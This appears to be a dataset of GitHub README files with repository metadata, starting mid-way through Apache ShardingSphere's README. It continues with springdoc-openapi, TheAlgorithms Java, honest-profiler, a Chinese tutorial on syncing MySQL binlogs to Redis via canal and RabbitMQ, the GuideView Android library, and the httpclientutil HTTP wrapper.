development with other ShardingSphere contributors. ## ### STATUS👀 <hr> :white_check_mark: Version 5.5.0: released :tada: 🔗 For the release notes, follow this link to the relevant [GitHub page](https://github.com/apache/shardingsphere/blob/master/RELEASE-NOTES.md). :soon: Version 5.5.1 We are currently working towards our 5.5.1 milestone. Keep an eye on the [milestones page](https://github.com/apache/shardingsphere/milestones) of this repo to stay up to date. [comment]: <> (##) [comment]: <> (### NIGHTLY BUILDS:) [comment]: <> (<hr>) [comment]: <> (A nightly build of ShardingSphere from the latest master branch is available. ) [comment]: <> (The package is updated daily and is available [here]&#40;http://117.48.121.24:8080&#41;.) [comment]: <> (##) [comment]: <> (**‼️ Notice:**) [comment]: <> (<hr>) [comment]: <> (Use this nightly build at your own risk! ) [comment]: <> (The branch is not always fully tested. ) [comment]: <> (The nightly build may contain bugs, and there may be new features added which may cause problems with your environment. ) ## ### How it Works <hr> Apache ShardingSphere includes 2 independent products: JDBC & Proxy. They all provide functions of data scale-out, distributed transaction and distributed governance, applicable in a variety of situations such as Java-based isomorphism, heterogeneous language and Cloud-Native. ### ShardingSphere-JDBC <hr> [![Maven Status](https://img.shields.io/maven-central/v/org.apache.shardingsphere/shardingsphere-jdbc.svg?color=green)](https://mvnrepository.com/artifact/org.apache.shardingsphere/shardingsphere-jdbc) A lightweight Java framework providing extra services at the Java JDBC layer. With the client end connecting directly to the database, it provides services in the form of a jar and requires no extra deployment and dependence. :link: For more details, follow this [link to the official website](https://shardingsphere.apache.org/document/current/en/overview/#shardingsphere-jdbc). ### ShardingSphere-Proxy <hr> [![Nightly-Download](https://img.shields.io/static/v1?label=nightly-builds&message=download&color=orange)](https://nightlies.apache.org/shardingsphere/) [![Download](https://img.shields.io/badge/release-download-orange.svg)](https://www.apache.org/dyn/closer.lua/shardingsphere/5.3.2/apache-shardingsphere-5.3.2-shardingsphere-proxy-bin.tar.gz) [![Docker Pulls](https://img.shields.io/docker/pulls/apache/shardingsphere-proxy.svg)](https://store.docker.com/community/images/apache/shardingsphere-proxy) A transparent database proxy, providing a database server that encapsulates the database binary protocol to support heterogeneous languages. Friendlier to DBAs, the MySQL and PostgreSQL version now provided can use any kind of terminal. :link: For more details, follow this [link to the official website](https://shardingsphere.apache.org/document/current/en/overview/#shardingsphere-proxy). ### Hybrid Architecture <hr> ShardingSphere-JDBC adopts a decentralized architecture, applicable to high-performance light-weight OLTP applications developed with Java. ShardingSphere-Proxy provides static entry and all languages support, suitable for an OLAP application and sharding databases management and operation. Through the combination of ShardingSphere-JDBC & ShardingSphere-Proxy together with a unified sharding strategy by the same registry center, the ShardingSphere ecosystem can build an application system suitable to all kinds of scenarios. :link: More details can be found following this [link to the official website](https://shardingsphere.apache.org/document/current/en/overview/#hybrid-architecture). ## ### Solution <hr> | *Solutions/Features* | *Distributed Database* | *Data Security* | *Database Gateway* | *Stress Testing* | |----------------------|-------------------------|----------------------|-----------------------------------|------------------| | | Data Sharding | Data Encryption | Heterogeneous Databases Supported | Shadow Database | | | Read/write Splitting | Row Authority (TODO) | SQL Dialect Translate (TODO) | Observability | | | Distributed Transaction | SQL Audit (TODO) | | | | | Elastic Scale-out | SQL Firewall (TODO) | | | | | High Availability | | | | ## ### Roadmap <hr> ![Roadmap](https://shardingsphere.apache.org/document/current/img/roadmap_en.png) ## ### How to Build Apache ShardingSphere <hr> Check out [Wiki](https://github.com/apache/shardingsphere/wiki) section for details on how to build Apache ShardingSphere and a full guide on how to get started and setup your local dev environment. ## ### Landscapes <hr> <p align="center"> <br/><br/> <img src="https://landscape.cncf.io/images/cncf-landscape-horizontal-color.svg" width="165"/>&nbsp;&nbsp;<img src="https://www.cncf.io/wp-content/uploads/2023/04/cncf-main-site-logo.svg" width="200"/> <br/><br/> Apache ShardingSphere enriches the <a href="https://landscape.cncf.io/?category=app-definition-and-development&grouping=category">CNCF CLOUD NATIVE Landscape</a>. </p> ##
0
springdoc/springdoc-openapi
Library for OpenAPI 3 with spring-boot
2019-07-11T23:08:20Z
null
![Octocat](https://springdoc.org/img/banner-logo.svg) [![Build Status](https://ci-cd.springdoc.org:8443/buildStatus/icon?job=springdoc-openapi-starter-IC)](https://ci-cd.springdoc.org:8443/view/springdoc-openapi/job/springdoc-openapi-starter-IC/) [![Quality Gate](https://sonarcloud.io/api/project_badges/measure?project=springdoc_springdoc-openapi&metric=alert_status)](https://sonarcloud.io/dashboard?id=springdoc_springdoc-openapi) [![Known Vulnerabilities](https://snyk.io/test/github/springdoc/springdoc-openapi.git/badge.svg)](https://snyk.io/test/github/springdoc/springdoc-openapi.git) [![Stack Exchange questions](https://img.shields.io/stackexchange/stackoverflow/t/springdoc)](https://stackoverflow.com/questions/tagged/springdoc?tab=Votes) IMPORTANT: ``springdoc-openapi v1.8.0`` is the latest Open Source release supporting Spring Boot 2.x and 1.x. An extended support for [*springdoc-openapi v1*](https://springdoc.org/v1) project is now available for organizations that need support beyond 2023. For more details, feel free to reach out: [sales@springdoc.org](mailto:sales@springdoc.org) ``springdoc-openapi`` is on [Open Collective](https://opencollective.com/springdoc). If you ❤️ this project consider becoming a [sponsor](https://github.com/sponsors/springdoc). This project is sponsored by <p align="center"> <a href="https://opensource.mercedes-benz.com/" target="_blank"> <img src="https://springdoc.org/img/mercedes-benz.png" height="10%" width="10%" /> </a> &nbsp;&nbsp; <a href="https://www.dm-jobs.com/dmTECH/?locale=de_DE&wt_mc=.display.github.sponsoring.logo" target="_blank"> <img src="https://springdoc.org/img/dmTECH_Logo.jpg" height="10%" width="10%" /> </a> <a href="https://www.contrastsecurity.com/" target="_blank"> <img src="https://springdoc.org/img/contrastsecurity.svg" height="10%" width="30%" /> </a> </p> # Table of Contents - [Full documentation](#full-documentation) - [**Introduction**](#introduction) - [**Getting Started**](#getting-started) - [Library for springdoc-openapi integration with spring-boot and swagger-ui](#library-for-springdoc-openapi-integration-with-spring-boot-and-swagger-ui) - [Spring-boot with OpenAPI Demo applications.](#spring-boot-with-openapi-demo-applications) - [Source Code for Demo Applications.](#source-code-for-demo-applications) - [Demo Spring Boot 2 Web MVC with OpenAPI 3.](#demo-spring-boot-2-web-mvc-with-openapi-3) - [Demo Spring Boot 2 WebFlux with OpenAPI 3.](#demo-spring-boot-2-webflux-with-openapi-3) - [Demo Spring Boot 2 WebFlux with Functional endpoints OpenAPI 3.](#demo-spring-boot-2-webflux-with-functional-endpoints-openapi-3) - [Demo Spring Boot 2 and Spring Hateoas with OpenAPI 3.](#demo-spring-boot-2-and-spring-hateoas-with-openapi-3) - [Integration of the library in a Spring Boot 3.x project without the swagger-ui:](#integration-of-the-library-in-a-spring-boot-3x-project-without-the-swagger-ui) - [Error Handling for REST using @ControllerAdvice](#error-handling-for-rest-using-controlleradvice) - [Adding API Information and Security documentation](#adding-api-information-and-security-documentation) - [spring-webflux support with Annotated Controllers](#spring-webflux-support-with-annotated-controllers) - [Acknowledgements](#acknowledgements) - [Contributors](#contributors) - [Additional Support](#additional-support) # [Full documentation](https://springdoc.org/) # **Introduction** The springdoc-openapi Java library helps automating the generation of API documentation using Spring Boot projects. springdoc-openapi works by examining an application at runtime to infer API semantics based on Spring configurations, class structure and various annotations. The library automatically generates documentation in JSON/YAML and HTML formatted pages. The generated documentation can be complemented using `swagger-api` annotations. This library supports: * OpenAPI 3 * Spring-boot v3 (Java 17 & Jakarta EE 9) * JSR-303, specifically for @NotNull, @Min, @Max, and @Size. * Swagger-ui * OAuth 2 * GraalVM native images The following video introduces the Library: * [https://youtu.be/utRxyPfFlDw](https://youtu.be/utRxyPfFlDw) For *spring-boot v3* support, make sure you use [springdoc-openapi v2](https://springdoc.org/) This is a community-based project, not maintained by the Spring Framework Contributors (Pivotal) # **Getting Started** ## Library for springdoc-openapi integration with spring-boot and swagger-ui * Automatically deploys swagger-ui to a Spring Boot 3.x application * Documentation will be available in HTML format, using the official [swagger-ui jars](https://github.com/swagger-api/swagger-ui.git). * The Swagger UI page should then be available at http://server: port/context-path/swagger-ui.html and the OpenAPI description will be available at the following url for json format: http://server:port/context-path/v3/api-docs * `server`: The server name or IP * `port`: The server port * `context-path`: The context path of the application * Documentation can be available in yaml format as well, on the following path: `/v3/api-docs.yaml` * Add the `springdoc-openapi-ui` library to the list of your project dependencies (No additional configuration is needed): ```xml <dependency> <groupId>org.springdoc</groupId> <artifactId>springdoc-openapi-starter-webmvc-ui</artifactId> <version>last-release-version</version> </dependency> ``` * This step is optional: For custom path of the swagger documentation in HTML format, add a custom springdoc property, in your spring-boot configuration file: ```properties # swagger-ui custom path springdoc.swagger-ui.path=/swagger-ui.html ``` ## Spring-boot with OpenAPI Demo applications. ### [Source Code for Demo Applications](https://github.com/springdoc/springdoc-openapi-demos/tree/master). ## [Demo Spring Boot 3 Web MVC with OpenAPI 3](https://demos.springdoc.org/demo-spring-boot-3-webmvc). ## [Demo Spring Boot 3 WebFlux with OpenAPI 3](https://demos.springdoc.org/demo-spring-boot-3-webflux/swagger-ui.html). ## [Demo Spring Boot 3 WebFlux with Functional endpoints OpenAPI 3](https://demos.springdoc.org/demo-spring-boot-3-webflux-functional/swagger-ui.html). ## [Demo Spring Boot 3 and Spring Cloud Function Web MVC](https://demos.springdoc.org/spring-cloud-function-webmvc). ## [Demo Spring Boot 3 and Spring Cloud Function WebFlux](http://158.101.191.70:8085/swagger-ui.html). ## [Demo Spring Boot 3 and Spring Cloud Gateway](https://demos.springdoc.org/demo-microservices/swagger-ui.html). ![Branching](https://springdoc.org/img/pets.png) ## Integration of the library in a Spring Boot 3.x project without the swagger-ui: * Documentation will be available at the following url for json format: http://server: port/context-path/v3/api-docs * `server`: The server name or IP * `port`: The server port * `context-path`: The context path of the application * Documentation will be available in yaml format as well, on the following path : `/v3/api-docs.yaml` * Add the library to the list of your project dependencies. (No additional configuration is needed) ```xml <dependency> <groupId>org.springdoc</groupId> <artifactId>springdoc-openapi-starter-webmvc-api</artifactId> <version>last-release-version</version> </dependency> ``` * This step is optional: For custom path of the OpenAPI documentation in Json format, add a custom springdoc property, in your spring-boot configuration file: ```properties # /api-docs endpoint custom path springdoc.api-docs.path=/api-docs ``` * This step is optional: If you want to disable `springdoc-openapi` endpoints, add a custom springdoc property, in your `spring-boot` configuration file: ```properties # disable api-docs springdoc.api-docs.enabled=false ``` ## Error Handling for REST using @ControllerAdvice To generate documentation automatically, make sure all the methods declare the HTTP Code responses using the annotation: @ResponseStatus. ## Adding API Information and Security documentation The library uses spring-boot application auto-configured packages to scan for the following annotations in spring beans: OpenAPIDefinition and Info. These annotations declare, API Information: Title, version, licence, security, servers, tags, security and externalDocs. For better performance of documentation generation, declare `@OpenAPIDefinition` and `@SecurityScheme` annotations within a Spring managed bean. ## spring-webflux support with Annotated Controllers * Documentation can be available in yaml format as well, on the following path : /v3/api-docs.yaml * Add the library to the list of your project dependencies (No additional configuration is needed) ```xml <dependency> <groupId>org.springdoc</groupId> <artifactId>springdoc-openapi-starter-webflux-ui</artifactId> <version>last-release-version</version> </dependency> ``` * This step is optional: For custom path of the swagger documentation in HTML format, add a custom springdoc property, in your spring-boot configuration file: ```properties # swagger-ui custom path springdoc.swagger-ui.path=/swagger-ui.html ``` The `springdoc-openapi` libraries are hosted on maven central repository. The artifacts can be viewed accessed at the following locations: Releases: * [https://s01.oss.sonatype.org/content/groups/public/org/springdoc/](https://s01.oss.sonatype.org/content/groups/public/org/springdoc/) . Snapshots: * [https://s01.oss.sonatype.org/content/repositories/snapshots/org/springdoc/](https://s01.oss.sonatype.org/content/repositories/snapshots/org/springdoc/) . # Acknowledgements ## Contributors springdoc-openapi is relevant and updated regularly due to the valuable contributions from its [contributors](https://github.com/springdoc/springdoc-openapi/graphs/contributors). <a href="https://github.com/springdoc/springdoc-openapi/graphs/contributors"> <img src="https://contrib.rocks/image?repo=springdoc/springdoc-openapi" width="50%"/> </a> Thanks you all for your support! ## Additional Support * [Spring Team](https://spring.io/team) - Thanks for their support by sharing all relevant resources around Spring projects. * [JetBrains](https://www.jetbrains.com/?from=springdoc-openapi) - Thanks a lot for supporting springdoc-openapi project. ![JenBrains logo](https://springdoc.org/img/jetbrains.svg)
0
TheAlgorithms/Java
All Algorithms implemented in Java
2016-07-16T10:21:02Z
null
# The Algorithms - Java [![Build](https://github.com/TheAlgorithms/Java/actions/workflows/build.yml/badge.svg?branch=master)](https://github.com/TheAlgorithms/Java/actions/workflows/build.yml) [![codecov](https://codecov.io/gh/TheAlgorithms/Java/graph/badge.svg?token=XAdPyqTIqR)](https://codecov.io/gh/TheAlgorithms/Java) [![Discord chat](https://img.shields.io/discord/808045925556682782.svg?logo=discord&colorB=7289DA&style=flat-square)](https://discord.gg/c7MnfGFGa6) [![Gitpod ready-to-code](https://img.shields.io/badge/Gitpod-ready--to--code-blue?logo=gitpod)](https://gitpod.io/#https://github.com/TheAlgorithms/Java) You can run and edit the algorithms, or contribute to them using Gitpod.io (a free online development environment) with a single click. [![Open in Gitpod](https://gitpod.io/button/open-in-gitpod.svg)](https://gitpod.io/#https://github.com/TheAlgorithms/Java) ### All algorithms are implemented in Java (for educational purposes) These implementations are intended for learning purposes. As such, they may be less efficient than the Java standard library. ## Contribution Guidelines Please read our [Contribution Guidelines](CONTRIBUTING.md) before you contribute to this project. ## Algorithms Our [directory](DIRECTORY.md) has the full list of applications.
0
jvm-profiling-tools/honest-profiler
A sampling JVM profiler without the safepoint sample bias
2014-02-17T21:02:44Z
null
honest-profiler =============== [![Build Status](https://travis-ci.org/jvm-profiling-tools/honest-profiler.svg?branch=master)](https://travis-ci.org/jvm-profiling-tools/honest-profiler) A usable and honest profiler for the JVM. For documentation please refer to [The Wiki](https://github.com/RichardWarburton/honest-profiler/wiki) * [Download the Binary](http://insightfullogic.com/honest-profiler.zip) * [How to Build](https://github.com/RichardWarburton/honest-profiler/wiki/How-to-build)
1
liukelin/canal_mysql_nosql_sync
基于canal 的 mysql 与 redis/memcached/mongodb 的 nosql 数据实时同步方案 案例 demo canal client
2016-01-04T13:47:17Z
null
下图是最基本的web服务器的结构图。 ![image](https://github.com/liukelin/canal_mysql_nosql_sync/raw/master/img/system-image.png) 基于 Canal 的 MySql RabbitMQ Redis/memcached/mongodb 的nosql同步 (多读、nosql延时不严格 需求) 1.mysql主从配置 2.对mysql binlog(row) parser 这一步交给canal 3.MQ对解析后binlog增量数据的推送 4.对MQ数据的消费(接收+数据解析,考虑消费速度,MQ队列的阻塞) 5.数据写入/修改到nosql (redis的主从/hash分片) 6.保证对应关系的简单性:一个mysql表对应一个 redis实例(redis单线程,多实例保证分流不阻塞),关联关系数据交给接口业务 数据:mysql->binlog->MQ->redis(不过期、关闭RDB、AOF保证读写性能) (nosql数据仅用crontab脚本维护) 请求:http->webserver->redis(有数据)->返回数据 (完全避免用户直接读取mysql) ->redis(无数据)->返回空 7.可将它视为一个触发器,binlog为记录触发事件,canal的作用是将事件实时通知出来,并将binlog解析成了所有语言可读的工具。 在事件传输的各个环节 提高 可用性 和 扩展性 (加入MQ等方法)最终提高系统的稳定。 传统 Mysql Redis/memcached nosql的缓存 (业务同步) 从cache读取数据-> 1.对数据在mysql的hash算法分布(db/table/分区),每个hash为节点(nosql数据全部失效时候,可保证mysql各节点可支持直接读取的性能) 2.mysql主从 3.nosql数据的hash算法分布(多实例、DB),每个hash为节点 4.nosql数据震荡处理 (当某节点挂了寻找替代节点算法(多层hash替代节点)。。。) 5.恢复节点数据 6.请求:http->webserver->【对key计算一致性hash节点】->connect对应的redis实例 ->1.redis(有数据)-> 返回数据 ->2.redis(无数据)-> mysql (并写入数据redis) -> 返回数据 ->3.redis节点挂掉-> 业务寻址hash替代节点 -> 3.1 redis(有数据) -> 返回数据 -> 3.2 redis(无数据) -> mysql(并写入数据redis) -> 返回数据 ![image](https://github.com/liukelin/canal_mysql_nosql_sync/raw/master/img/canal-mysql-nosql.png) 为什么要使用消息队列(MQ)进行binlog传输: 1.增加缓冲,binlog生产端(canal client)只负责生产而不需要考虑消费端的消费能力, 不等待阻塞。 2.binlog 消费端: 可实时根据MQ消息的堆积情况,动态 增加/减少 消费端的数量,达到合理的资源利用和消费 部署: 阿里canal纯java开发,所以要先安装java环境 安装jdk(推荐jdk1.8): 安装过程参考网上资料,(注意环境变量配置) mysql配置: 1.编辑mysql配置文件 $ sudo vim /etc/my.cnf [mysqld] log-bin=mysql-bin #binlog文件名(也可以使用绝对路径) binlog-format=ROW #选择row模式 server_id=1 #实例唯一ID,不能和canal的slaveId重复 保存并退出,并重启mysql $ sudo service mysql restart 2.创建 mysql账号密码(账号密码自定 权限自定) CREATE USER canal IDENTIFIED BY 'canal'; GRANT SELECT, REPLICATION SLAVE, REPLICATION CLIENT ON *.* TO 'canal'@'%'; -- GRANT ALL PRIVILEGES ON *.* TO 'canal'@'%' ; FLUSH PRIVILEGES; canal server 配置启动: canal server 模拟mysql从库并向mysql发送dump命令获取mysql binlog数据。 1.下载解压项目,这里提供了1.0.22版本: [canal.deployer-1.0.22.tar.gz](https://github.com/liukelin/canal_mysql_nosql_sync/releases) 可从阿里项目下载最新版本 deployer : [https://github.com/alibaba/canal/releases](https://github.com/alibaba/canal/releases) 2.配置项目: # 公共配置 $ sudo vim conf/canal.properties canal.port= 11111 # canal server 运行端口,保证该端口为占用状态,或者使用其他未占用端口 保存退出。 # 实例配置 $ sudo vim conf/example/instance.properties # position info canal.instance.master.address = 127.0.0.1:3306 # mysql连接 canal.instance.dbUsername = canal # mysql账号 canal.instance.dbPassword = canal # 密码 canal.instance.defaultDatabaseName = test # 需要同步的库名 canal.instance.connectionCharset = UTF-8 # mysql编码 保存退出。 更多配置查看: [http://agapple.iteye.com/blog/1831873](http://agapple.iteye.com/blog/1831873) 3.启动: $ sh bin/startup.sh 日志文件: $ less logs/canal/canal.log # canal server端运行日志 $ less logs/example/example.log # canal client端连接日志 $ logs/example/meta.log # 实例binlog 读取记录文件(记录变更位置,默认为新增变更(tail)) canal client 配置启动: canal client将从canal server获取的binlog数据最终以json行格式保存到指定文件(也可省略这步,直接发送到MQ)。 binlog生产端和消费端的之间,增加MQ作为缓冲,增加容错度和动态扩展性 1.下载解压项目,这里自己写了个基于1.0.22版本的项目: [canal_client1.0.22.zip](https://github.com/liukelin/canal_mysql_nosql_sync/releases) 源码查看: [canal-client](https://github.com/liukelin/canal_mysql_nosql_sync/tree/master/canal-client) 2.基本配置 $vim conf/canal.properties # cancal server host, 上面 canal server的IP canal.server.host = 127.0.0.1 # cancal server port,上面 canal server的启动端口 canal.server.port = 11111 # 数据保存路径 ,自行指定 canal.binlog.dir = db_data # 可选rabbitmq/redis/kafka 作为队列(这里使用 rabbitmq 作为队列传输) canal.mq = rabbitmq ###### rabbitmq 基本配置 ##### rabbitmq.host = 127.0.0.1 rabbitmq.port = 5672 rabbitmq.user = test rabbitmq.pass = 123456 保存退出。 3.启动canal client: $ sh start_canal_client.sh 修改mysql数据触发。 最终结果: eventType :操作类型(UPDATE/INSERTDELETE) db: 涉及库 table: 涉及表 before:变更前数据 after: 变更后数据 time: 操作时间 $less db_data/binlog_xxxx.log {"binlog":"mysql-bin.000009:1235","db":"test","table":"users","eventType":"UPDATE","before":{"uid":"8","username":"duobao153713223"},"after":{"uid":"8","username":"duobao153713223"},"time":"2016-08-22 17:47:25"} {"binlog":"mysql-bin.000009:1533","db":"test","table":"users","eventType":"DELETE","before":"","after":{"uid":"8","username":"duobao153713223"},"time":"2016-08-22 17:48:09"} {"binlog":"mysql-bin.000009:1790","db":"test","table":"users","eventType":"INSERT","before":"","after":{"uid":"9","username":"test2"},"time":"2016-08-22 17:48:45"} 消费数据demo:(这里使用python3 消费rabbitmq同步到redis 作为案例,实际可根据业务需求,因为此时所需要的数据已是通用的json格式,无限可能) 流程 :file数据-> MQ -> nosql MQ: rabbitMQ 语言:python3 NoSql: redis 多项目订阅需求,如:client1和client2 需要消费这些数据, 他们得到的数据一样 开始考虑直接用队列: 队列数据: [A, B, C, D] client1 : 消费进程1:获取AB 消费进程2:获取CD client2 : 消费进程1:获取AB 消费进程2:获取CD 这样的话,如果使用rabbitMQ 就必须给每个 client 提供独立的队列。并独立消费 1、使用kafka,利用他的分组group,每个client 为一个组,这样就可保证,数据给每个组一致。 2、对每个项目需求开独立的 canal server instance 和 canal client实例 配置: 语言:python3 pip:pika redis 项目代码: python_sync_nosql 修改配置文件config.py # 最终存储数据redis redis_host = '127.0.0.1' redis_port = 6379 ###### rabbitmq 基本配置 ##### rabbitmq_host = '127.0.0.1' rabbitmq_port = 5672 rabbitmq_user = 'test' rabbitmq_pass = '123456' # 设置对每个table存储使用的key字段 redis_cache_map = { # db 'test':{ # table : kid 'users':'uid', } } 运行脚本: $ python3 startup.py 数据最终存储为Redis 的 hash结构,key为 db_table_id ![image](https://github.com/liukelin/canal_mysql_nosql_sync/raw/master/img/redis-hash.png) 同步到MongoDB同理 这里的demo是将表数据映射到 mongodb 结构 db => db table => 集合 column=> coll ![image](https://github.com/liukelin/canal_mysql_nosql_sync/raw/master/img/mongo.png) ## 目录结构 ~~~ ├─canal-client/ 封装的canal client客户端 和 消息队列MQ 项目 │ ├─src/ 项目代码 │ ├─lib/ jar包依赖 │ ├─conf/ 配置文件 │ ├─canal_client.jar 启动jar │ └─start_canal_client.sh 启动文件 │ ├─python_sync_nosql/ 消费MQ binlog数据, 将数据写入到NoSql demo │ ├─queue_rabbitmq.py rabbitmq 消费端 │ ├─sync_redis.py 写入到redis │ ├─sync_mongo.py 写入到mongo │ ├─config.py 配置 │ └─startup.py 启动入口 └─ ~~~ ## 总结 1.使用MQ作为传输,可提高容错度,并且可以起到一个消费速度的缓冲,在程序上加上对队列积压数据的监控,可实时增加或减少MQ消费进程的数量。 2.为了提高binlog数据的可靠消费,建议使用带有ACK功能的MQ 做为消息队列使用 3.为了避免多进程对MQ消费速度的时序先后不可控,建议binlog数据只作为触发条件(使用id从mysql获取最新数据)作为数据使用,而不作为具体数据使用。 3.1.或者弄一个版本号的服务,对每条消息打上一个唯一的版本号,用版本号来确定是否是最新的数据 4.接下来我会继续完善otter的实际案例 ... ## 其他 这里有个用golang实现的binlog解析的项目: [https://github.com/liukelin/bubod](https://github.com/liukelin/bubod) <h1>资源下载</h1> canal server 服务端deployer: [https://github.com/alibaba/canal/releases/tag/canal-1.0.22](https://github.com/alibaba/canal/releases/tag/canal-1.0.22) canal client 客户端: [https://github.com/liukelin/canal_mysql_nosql_sync/releases/tag/1.0.22.2](https://github.com/liukelin/canal_mysql_nosql_sync/releases/tag/1.0.22.2) 阿里canal项目原始地址:[https://github.com/alibaba/canal](https://github.com/alibaba/canal) 数据消费写入nosql例子: python_sync_nosql 这里是消费rabbitmq数据最终同步到redis 其他说明:[使用canal和canal_mysql_nosql_sync同步mysql数据](https://www.aliyun.com/jiaocheng/1114823.html?spm=5176.100033.2.18.hXjlSb) 使用golang语言开发的版本:[https://github.com/liukelin/bubod](https://github.com/liukelin/bubod)
0
binIoter/GuideView
东半球最好用的新手引导库,能够快速为任何一个View创建一个遮罩层,支持单个页面,多个引导串联展示,支持为高亮区域设置不同的图形,支持引导动画,方便扩展,良好支持fragment
2016-06-19T08:52:25Z
null
* <h1>GuideView</h1> * 本系统能够快速的为一个Activity里的任何一个View控件创建一个遮罩式的导航页,并且可以再高亮区域绘制任何你想要的布局或者lottie动画等炫酷效果</p> * <h3>工作原理</h3> * 首先它需要一个目标View或者它的id,我们通过findViewById来得到这个View,计算它在屏幕上的区域targetRect,通过这个区域,开始绘制一个覆盖整个Activity的遮罩,可以定义遮罩的颜色和透明度,然而目标View被绘制成透明从而实现高亮的效果。接下来是在相对于这个targetRect的区域绘制一些图片或者文字。我们把这样一张图片或者文字抽象成一个Component接口,设置文字或者图片,所有的图片文字都是相对于targetRect来定义的。可以设定额外的x,y偏移量,可以对遮罩系统设置可见状态的发生变化时的监听回调,可以对遮罩系统设置开始和结束时的动画效。</p> * <h3>注意:具体用法参见demo,内附详细注释</h3> * <img src = "https://github.com/binIoter/GuideView/blob/master/app/src/main/assets/guide.gif"></img> * <h3>使用方法</h3> * <h4>1.添加gradle依赖</h4> implementation 'com.binioter:guideview:1.0.0' * <h4>2.编写用于在高亮区域周围展示的component</h4> * public class SimpleComponent implements Component { @Override public View getView(LayoutInflater inflater) { LinearLayout ll = (LinearLayout) inflater.inflate(R.layout.layer_frends, null); ll.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { Toast.makeText(view.getContext(), "引导层被点击了", Toast.LENGTH_SHORT).show(); } }); return ll; } @Override public int getAnchor() { return Component.ANCHOR_BOTTOM; } @Override public int getFitPosition() { return Component.FIT_END; } @Override public int getXOffset() { return 0; } @Override public int getYOffset() { return 10; } } * <h4>3.展示引导蒙层,并监听蒙层展示、隐藏事件</h4> * public void showGuideView() { GuideBuilder builder = new GuideBuilder(); builder.setTargetView(header_imgbtn) .setAlpha(150) .setHighTargetCorner(20) .setHighTargetPadding(10); builder.setOnVisibilityChangedListener(new GuideBuilder.OnVisibilityChangedListener() { @Override public void onShown() { } @Override public void onDismiss() { showGuideView2(); } }); builder.addComponent(new SimpleComponent()); guide = builder.createGuide(); guide.show(SimpleGuideViewActivity.this); ## License Copyright 2016 binIoter Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
0
Arronlong/httpclientutil
该项目基于HttpClient-4.4.1封装的一个工具类。提供了更为简单的GET、POST及上传下载等功能。同时支持插件式配置Http-Header(包含自定义header)、配置SSL和Proxy等。
2015-11-19T06:53:28Z
null
# httpclientutil (QQ群[548452686](http://shang.qq.com/wpa/qunwpa?idkey=4fae0ff61968c0a25a08318ad42cfff7509542c26a1894706a9b7d1845b0bf68 "httpclientUtil交流") ![image](http://pub.idqqimg.com/wpa/images/group.png)) 该项目基于HttpClient-4.4.1封装的一个工具类,支持插件式配置Header、插件式配置httpclient对象,这样就可以方便地自定义header信息、配置ssl、配置proxy等。 ## Maven坐标: ``` <!-- https://mvnrepository.com/artifact/com.arronlong/httpclientutil --> <dependency> <groupId>com.arronlong</groupId> <artifactId>httpclientutil</artifactId> <version>1.0.4</version> </dependency> ``` ## 简单Demo 在test包里还有各种测试[demo](http://mfxuan.free.800m.net/demo.png),各测试类的源码在src/test/java/com/httpclient/test包路径下。 ``` public static void main(String[] args) throws HttpProcessException, FileNotFoundException { String url = "https://github.com/Arronlong/httpclientutil"; //最简单的使用: String html = HttpClientUtil.get(HttpConfig.custom().url(url)); System.out.println(html); //--------------------------------- // 【详细说明】 //-------------------------------- //插件式配置Header(各种header信息、自定义header) Header[] headers = HttpHeader.custom() .userAgent("javacl") .other("customer", "自定义") .build(); //插件式配置生成HttpClient时所需参数(超时、连接池、ssl、重试) HCB hcb = HCB.custom() .timeout(1000) //超时 .pool(100, 10) //启用连接池,每个路由最大创建10个链接,总连接数限制为100个 .sslpv(SSLProtocolVersion.TLSv1_2) //设置ssl版本号,默认SSLv3,也可以调用sslpv("TLSv1.2") .ssl() //https,支持自定义ssl证书路径和密码,ssl(String keyStorePath, String keyStorepass) .retry(5) //重试5次 ; HttpClient client = hcb.build(); Map<String, Object> map = new HashMap<String, Object>(); map.put("key1", "value1"); map.put("key2", "value2"); //插件式配置请求参数(网址、请求参数、编码、client) HttpConfig config = HttpConfig.custom() .headers(headers) //设置headers,不需要时则无需设置 .url(url) //设置请求的url .map(map) //设置请求参数,没有则无需设置 .encoding("utf-8") //设置请求和返回编码,默认就是Charset.defaultCharset() .client(client) //如果只是简单使用,无需设置,会自动获取默认的一个client对象 //.inenc("utf-8") //设置请求编码,如果请求返回一直,不需要再单独设置 //.inenc("utf-8") //设置返回编码,如果请求返回一直,不需要再单独设置 //.json("json字符串") //json方式请求的话,就不用设置map方法,当然二者可以共用。 //.context(HttpCookies.custom().getContext()) //设置cookie,用于完成携带cookie的操作 //.out(new FileOutputStream("保存地址")) //下载的话,设置这个方法,否则不要设置 //.files(new String[]{"d:/1.txt","d:/2.txt"}) //上传的话,传递文件路径,一般还需map配置,设置服务器保存路径 ; //使用方式: String result1 = HttpClientUtil.get(config); //get请求 String result2 = HttpClientUtil.post(config); //post请求 System.out.println(result1); System.out.println(result2); //HttpClientUtil.down(config); //下载,需要调用config.out(fileOutputStream对象) //HttpClientUtil.upload(config); //上传,需要调用config.files(文件路径数组) //如果指向看是否访问正常 //String result3 = HttpClientUtil.head(config); // 返回Http协议号+状态码 //int statusCode = HttpClientUtil.status(config);//返回状态码 //[新增方法]sendAndGetResp,可以返回原生的HttpResponse对象, //同时返回常用的几类对象:result、header、StatusLine、StatusCode HttpResult respResult = HttpClientUtil.sendAndGetResp(config); System.out.println("返回结果:\n"+respResult.getResult()); System.out.println("返回resp-header:"+respResult.getRespHeaders());//可以遍历 System.out.println("返回具体resp-header:"+respResult.getHeaders("Date")); System.out.println("返回StatusLine对象:"+respResult.getStatusLine()); System.out.println("返回StatusCode:"+respResult.getStatusCode()); System.out.println("返回HttpResponse对象)(可自行处理):"+respResult.getResp()); } ``` ![image](http://box.kancloud.cn/cover_2016-01-11_5693502e2de2_800x1068.jpg?imageMogr2/thumbnail/346x462!/interlace/1/quality/100)| 专栏创建者:[xiaoxian8023](http://blog.csdn.net/xiaoxian8023)<br/>创建时间:2015-11-16<br/>文章数:17篇<br/>[RSS订阅](http://blog.csdn.net/xiaoxian8023/rss/list)<br/> 